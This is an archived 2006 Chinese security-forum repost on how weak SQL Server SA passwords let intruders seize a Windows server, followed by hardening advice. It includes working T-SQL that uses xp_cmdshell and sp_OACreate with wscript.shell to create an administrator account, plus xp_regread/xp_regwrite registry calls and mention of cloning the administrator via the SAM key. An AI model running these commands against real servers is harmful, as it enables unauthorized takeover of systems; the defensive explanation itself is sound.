邪恶八进制信息安全团队技术讨论组's Archiver

ring04h 2006-6-27 18:04

[转载]SA弱口令带来的安全隐患

<p>信息来源: 邪恶八进制信息安全团队</p><p>存在Microsoft SQL Server SA弱口令漏洞的计算机一直是网络攻击者青睐的对象之一,通过这个漏洞,可以轻易的得到服务器的管理权限,从而威胁网络及数据的安全。作为网络管理员,我们可不能不闻不问,一定要弄清楚这其中的起因、经过和结果,才能有的放矢,做到更为有效的防范,下面我就详细的向大家介绍一下。</p><p /><p /><div id="3"> Microsoft SQLServer是一个c/s模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。网络中利用Microsoft SQLServer SA弱口令入侵的核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限,那到底什么是存储过程?</div><p /><p /><div id="4"> 存储过程是存储在SQLServer中的预先写好的SQL语句集合,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令,而SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值,比如执行:exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add'这样对方的系统就被添加了一个用户名为test,密码为1234,有管理员权限的用户,如图一所示。</div><p /><p align="center" /><div id="5"><img height="339" src="http://image.it168.com/cms/2006-5-16/image/065161145.jpg" width="450" /></div><p /><p /><div id="6"> 现在你应该明白为什么得到SA密码,就可以得到系统的最高权限了吧。而往往不少网络管理员不清楚这个情况,为自己的SA用户起了一些诸如1234,4321等简单的密码,甚至根本就不设置密码,这样网络入侵者就可以利用一些黑客工具很轻松的扫描到SA的密码,进而控制计算机。</div><p /><p /><div id="7"> 除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:</div><p /><p /><div id="8"> 1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):</div><p /><div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px"><pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><div id="9">
<div><!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
[url]http://www.CodeHighlighter.com/[/url]
--><img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #0000ff">DECLARE</span><span style="COLOR: #000000"></span><span style="COLOR: #008000">@test</span><span style="COLOR: #000000"></span><span style="FONT-WEIGHT: bold; COLOR: #000000">varchar</span><span style="COLOR: #000000">(</span><span style="FONT-WEIGHT: bold; COLOR: #800000">50</span><span style="COLOR: #000000">)
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">EXEC</span><span style="COLOR: #000000"> master..xp_regread </span><span style="COLOR: #008000">@rootkey</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">HKEY_LOCAL_MACHINE</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@key</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">system\controlset001\control\computername\computername</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@value_name</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">computername</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@value</span><span style="COLOR: #808080">=</span><span style="COLOR: #008000">@test</span><span style="COLOR: #000000"> OUTPUT
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #0000ff">SELECT</span><span style="COLOR: #000000"></span><span style="COLOR: #008000">@test</span><span style="COLOR: #000000">
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span></div>
</div></pre></div><p /><div id="10"> 2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb): </div><p /><div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px"><pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><div id="11">
<div><!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
[url]http://www.CodeHighlighter.com/[/url]
--><img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #0000ff">EXEC</span><span style="COLOR: #000000"> master..xp_regwrite
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@rootkey</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">HKEY_LOCAL_MACHINE</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@key</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">SOFTWARE\aaa</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@value_name</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">aaaValue</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@type</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">REG_SZ</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span><span style="COLOR: #008000">@value</span><span style="COLOR: #808080">=</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">bbb</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000"></span></div>
</div></pre></div><p /><div id="12"> 如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。</div><p /><p /><div id="13"> 3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,使用方法:</div><p /><p /><div id="14"> DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'-- </div><p /><p /><div id="15"> 这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:</div><p /><div style="SCROLLBAR-HIGHLIGHT-COLOR: buttonhighlight; OVERFLOW: auto; WIDTH: 500px"><pre style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><div id="16">
<div><!--
Code highlighting produced by Actipro CodeHighlighter (freeware)
[url]http://www.CodeHighlighter.com/[/url]
--><img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /><span style="COLOR: #0000ff">DECLARE</span><span style="COLOR: #000000"></span><span style="COLOR: #008000">@shell</span><span style="COLOR: #000000"></span><span style="FONT-WEIGHT: bold; COLOR: #000000">INT</span><span style="COLOR: #000000"></span><span style="COLOR: #0000ff">EXEC</span><span style="COLOR: #000000"> SP_OACREATE </span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">wscript.shell</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #008000">@shell</span><span style="COLOR: #000000"> OUTPUT </span><span style="COLOR: #0000ff">EXEC</span><span style="COLOR: #000000"> SP_OAMETHOD </span><span style="COLOR: #008000">@shell</span><span style="COLOR: #000000">,</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">run</span><span style="COLOR: #ff0000">'</span><span style="COLOR: #000000">,</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">, </span><span style="COLOR: #ff0000">'</span><span style="COLOR: #ff0000">c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add </span><span style="COLOR: #ff0000">'</span><span style="COLOR: #008080">--</span><span style="COLOR: #008080"></span><span style="COLOR: #008080">
<img src="http://cms.it168.com/Images/OutliningIndicators/None.gif" align="top" /></span></div>
</div></pre></div><p /><div id="17"> 用户test,被加入管理员组。</div><p /><p /><div id="18"> 解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。</div><p /><p /><div id="19"> 既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT\system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。<br /></div>

页: [1]
© 1999-2008 EvilOctal Security Team